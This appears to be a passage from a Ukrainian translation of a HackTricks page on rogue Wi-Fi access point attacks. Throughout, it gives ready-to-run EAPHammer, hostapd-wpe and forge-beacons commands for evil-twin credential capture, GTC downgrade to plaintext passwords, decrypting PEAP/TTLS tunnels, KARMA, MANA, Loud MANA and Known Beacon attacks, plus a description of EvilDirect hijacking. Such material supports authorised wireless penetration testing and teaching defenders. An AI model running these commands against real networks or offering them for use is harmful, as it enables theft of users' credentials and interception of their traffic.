У конфігураційному файлі можна вибрати багато різних параметрів, таких як ssid, channel, user files, cret/key, dh parameters, wpa version та auth...
Використання hostapd-wpe з EAP-TLS, щоб дозволити будь-якому сертифікату увійти.
Використання EAPHammer
# Generate Certificates
./eaphammer --cert-wizard
# Launch Attack
./eaphammer -i wlan0 --channel 4 --auth wpa-eap --essid CorpWifi --creds
За замовчуванням EAPHammer націлюється на такі методи аутентифікації (зверніть увагу, що GTC — перший, який спробує отримати паролі у відкритому вигляді, а потім застосовуються більш надійні методи аутентифікації):
GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5
Це методологія за замовчуванням, щоб уникнути тривалого часу підключення. Однак ви також можете вказати серверу методи автентифікації від найслабшого до найсильнішого:
--negotiate weakest
Або ви також можете використати:
--negotiate gtc-downgrade
to use highly efficient GTC downgrade implementation (plaintext passwords)--negotiate manual --phase-1-methods PEAP,TTLS --phase-2-methods MSCHAPV2,GTC,TTLS-PAP
to specify manually the methods offered (offering the same auth methods in the same order as the organisation the attack will be much more difficult to detect).- Find more info in the wiki
Using Airgeddon
Airgeddon
може використовувати раніше згенеровані сертифікати для надання EAP-аутентифікації для WPA/WPA2-Enterprise мереж. Фейкова мережа занизить протокол з'єднання до EAP-MD5, тому вона зможе перехопити користувача та MD5 пароля. Пізніше нападник може спробувати зламати пароль.
Airggedon
дає вам можливість безперервної Evil Twin атаки (noisy) або створити Evil Attack лише до того моменту, поки хтось не підключиться (smooth).
Debugging PEAP and EAP-TTLS TLS tunnels in Evil Twins attacks
Цей метод було протестовано на PEAP-з'єднанні, але оскільки я дешифрую довільний TLS-тунель, це також має працювати з EAP-TTLS
Inside the configuration of hostapd-wpe comment the line that contains dh_file (from dh_file=/etc/hostapd-wpe/certs/dh
to #dh_file=/etc/hostapd-wpe/certs/dh
)
This will make hostapd-wpe
to exchange keys using RSA instead of DH, so you will be able to decrypt the traffic later knowing the servers private key.
Тепер запустіть Evil Twin за допомогою hostapd-wpe
з цією зміненою конфігурацією як зазвичай. Також запустіть wireshark
на інтерфейсі, який виконує атаку Evil Twin.
Зараз або пізніше (коли ви вже перехопили деякі спроби аутентифікації) ви можете додати приватний RSA-ключ у wireshark через: Edit --> Preferences --> Protocols --> TLS --> (RSA keys list) Edit...
Додайте новий запис і заповніть форму такими значеннями: IP address = any -- Port = 0 -- Protocol = data -- Key File (виберіть ваш файл ключа, щоб уникнути проблем виберіть файл ключа без захисту паролем).
І перегляньте нову вкладку "Decrypted TLS":
KARMA, MANA, Loud MANA and Known beacons attack
ESSID and MAC black/whitelists
Різні типи Media Access Control Filter Lists (MFACLs) та їх відповідні режими й вплив на поведінку rogue Access Point (AP):
- MAC-based Whitelist:
- Rogue AP відповідатиме тільки на probe requests від пристроїв, вказаних у whitelist, залишаючись невидимим для всіх інших, які не вказані.
- MAC-based Blacklist:
- Rogue AP ігноруватиме probe requests від пристроїв у blacklist, фактично роблячи rogue AP невидимим для цих конкретних пристроїв.
- SSID-based Whitelist:
- Rogue AP відповідатиме на probe requests тільки для конкретних ESSIDs у списку, роблячи його невидимим для пристроїв, чиї Preferred Network Lists (PNLs) не містять цих ESSIDs.
- SSID-based Blacklist:
- Rogue AP не відповідатиме на probe requests для конкретних ESSIDs у blacklist, роблячи його невидимим для пристроїв, що шукають ці мережі.
# example EAPHammer MFACL file, wildcards can be used
09:6a:06:c8:36:af
37:ab:46:7a:9a:7c
c7:36:8c:b2:*:*
[--mac-whitelist /path/to/mac/whitelist/file.txt #EAPHammer whitelisting]
[--mac-blacklist /path/to/mac/blacklist/file.txt #EAPHammer blacklisting]
# example ESSID-based MFACL file
name1
name2
name3
[--ssid-whitelist /path/to/mac/whitelist/file.txt]
[--ssid-blacklist /path/to/mac/blacklist/file.txt]
KARMA
Цей метод дозволяє зловмиснику створити шкідливу точку доступу (AP), яка відповідає на всі probe requests від пристроїв, що шукають мережі. Ця техніка обманює пристрої, змушуючи їх підключатися до AP зловмисника, імітуючи мережі, які шукають пристрої. Як тільки пристрій відправляє запит на підключення до цієї шкідливої AP, підключення завершується, і пристрій помилково підключається до мережі зловмисника.
MANA
Потім пристрої почали ігнорувати ненадійні відповіді мереж, що знизило ефективність оригінальної karma attack. Однак з'явився новий метод, відомий як MANA attack, який представили Ian de Villiers та Dominic White. Цей метод передбачає, що шкідлива AP захоплює Preferred Network Lists (PNL) з пристроїв, відповідаючи на їхні broadcast probe requests назвами мереж (SSIDs), які раніше зберігалися пристроями. Ця складна атака обходить захисти проти оригінальної karma attack, експлуатуючи спосіб, у який пристрої запам'ятовують та пріоритезують відомі мережі.
MANA attack працює шляхом моніторингу як directed, так і broadcast probe requests від пристроїв. Для directed requests вона записує MAC-адресу пристрою та ім'я запитуваної мережі, додаючи цю інформацію до списку. Коли надходить broadcast request, AP відповідає інформацією, що відповідає будь-якій мережі зі списку пристрою, спонукаючи пристрій підключитися до шкідливої AP.
./eaphammer -i wlan0 --cloaking full --mana --mac-whitelist whitelist.txt [--captive-portal] [--auth wpa-psk --creds]
Loud MANA
А Loud MANA attack — це просунута стратегія для випадків, коли пристрої не використовують directed probing або коли їх Preferred Network Lists (PNL) невідомі атакуючому. Вона працює за принципом, що пристрої в одному районі ймовірно мають у своїх PNL деякі спільні імена мереж. Замість вибіркової відповіді ця атака транслює probe responses для кожного імені мережі (ESSID), знайденого в об'єднаних PNL усіх спостережуваних пристроїв. Такий широкий підхід підвищує шанси, що пристрій впізнає знайому мережу і спробує підключитися до rogue Access Point (AP).
./eaphammer -i wlan0 --cloaking full --mana --loud [--captive-portal] [--auth wpa-psk --creds]
Known Beacon attack
Коли Loud MANA attack може бути недостатньою, Known Beacon attack пропонує інший підхід. Цей метод brute-forces процес підключення, симулюючи AP, який відповідає на будь-яку назву мережі, перебираючи список потенційних ESSIDs отриманих із wordlist. Це імітує присутність численних мереж, сподіваючись співпасти з ESSID у PNL жертви, спонукаючи здійснити спробу підключення до підробленого AP. Атаку можна посилити, поєднавши її з опцією --loud
для більш агресивної спроби захопити пристрої.
Eaphammer реалізував цю атаку як MANA attack, де всі ESSIDs у списку транслюються (ви також можете поєднати це з --loud
, щоб створити Loud MANA + Known beacons attack):
./eaphammer -i wlan0 --mana [--loud] --known-beacons --known-ssids-file wordlist.txt [--captive-portal] [--auth wpa-psk --creds]
Known Beacon Burst attack
Атака Known Beacon Burst attack передбачає швидку трансляцію beacon frames для кожного ESSID, перерахованого у файлі. Це створює щільне середовище фейкових мереж, значно підвищуючи ймовірність підключення пристроїв до rogue AP, особливо у поєднанні з MANA attack. Ця техніка використовує швидкість і масштаб, щоб перевантажити механізми вибору мереж у пристроїв.
# transmit a burst of 5 forged beacon packets for each entry in list
./forge-beacons -i wlan1 \
--bssid de:ad:be:ef:13:37 \
--known-essids-file known-s.txt \
--dst-addr 11:22:33:11:22:33 \
--burst-count 5
Wi-Fi Direct
Wi-Fi Direct — це протокол, що дозволяє пристроям з'єднуватися безпосередньо один з одним через Wi-Fi без потреби в традиційній бездротовій точці доступу. Ця можливість інтегрована в різні пристрої Інтернету речей (IoT), такі як принтери та телевізори, і полегшує пряму комунікацію між пристроями. Важливою особливістю Wi-Fi Direct є те, що один із пристроїв бере на себе роль точки доступу, відомої як group owner, для керування з'єднанням.
Безпеку для підключень Wi-Fi Direct забезпечує Wi-Fi Protected Setup (WPS), який підтримує кілька методів для захищеного спарингу, зокрема:
- Push-Button Configuration (PBC)
- PIN entry
- Near-Field Communication (NFC)
Ці методи, особливо PIN entry, вразливі до тих самих вразливостей, що й WPS у традиційних Wi‑Fi мережах, тому вони стають цілями для аналогічних векторів атак.
EvilDirect Hijacking
EvilDirect Hijacking — це атака, специфічна для Wi-Fi Direct. Вона відображає концепцію Evil Twin атаки, але спрямована на підключення Wi-Fi Direct. У цьому сценарії зловмисник видає себе за легітимного group owner з метою змусити пристрої підключитися до шкідливого пристрою. Цей метод можна реалізувати за допомогою інструментів на кшталт airbase-ng
, вказавши канал, ESSID і MAC address підробленого пристрою:
Посилання
- https://posts.specterops.io/modern-wireless-attacks-pt-i-basic-rogue-ap-theory-evil-twin-and-karma-attacks-35a8571550ee
- https://posts.specterops.io/modern-wireless-attacks-pt-ii-mana-and-known-beacon-attacks-97a359d385f9
- https://posts.specterops.io/modern-wireless-tradecraft-pt-iii-management-frame-access-control-lists-mfacls-22ca7f314a38
- https://posts.specterops.io/modern-wireless-tradecraft-pt-iv-tradecraft-and-detection-d1a95da4bb4d
- https://github.com/gdssecurity/Whitepapers/blob/master/GDS%20Labs%20-%20Identifying%20Rogue%20Access%20Point%20Attacks%20Using%20Probe%20Response%20Patterns%20and%20Signal%20Strength.pdf
- http://solstice.sh/wireless/eaphammer/2019/09/10/eap-downgrade-attacks/
- https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/
- https://medium.com/hacking-info-sec/ataque-clientless-a-wpa-wpa2-usando-pmkid-1147d72f464d
- https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)
- https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/
- The vulnerability that killed FreeWifi_Secure
- RFC 4186 – EAP-SIM Authentication
- 3GPP TS 33.402 – 3GPP system architecture evolution (SAE); Security aspects of non-3GPP accesses
TODO: Перегляньте https://github.com/wifiphisher/wifiphisher (логін через facebook та імітація WPA у captive portals)
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.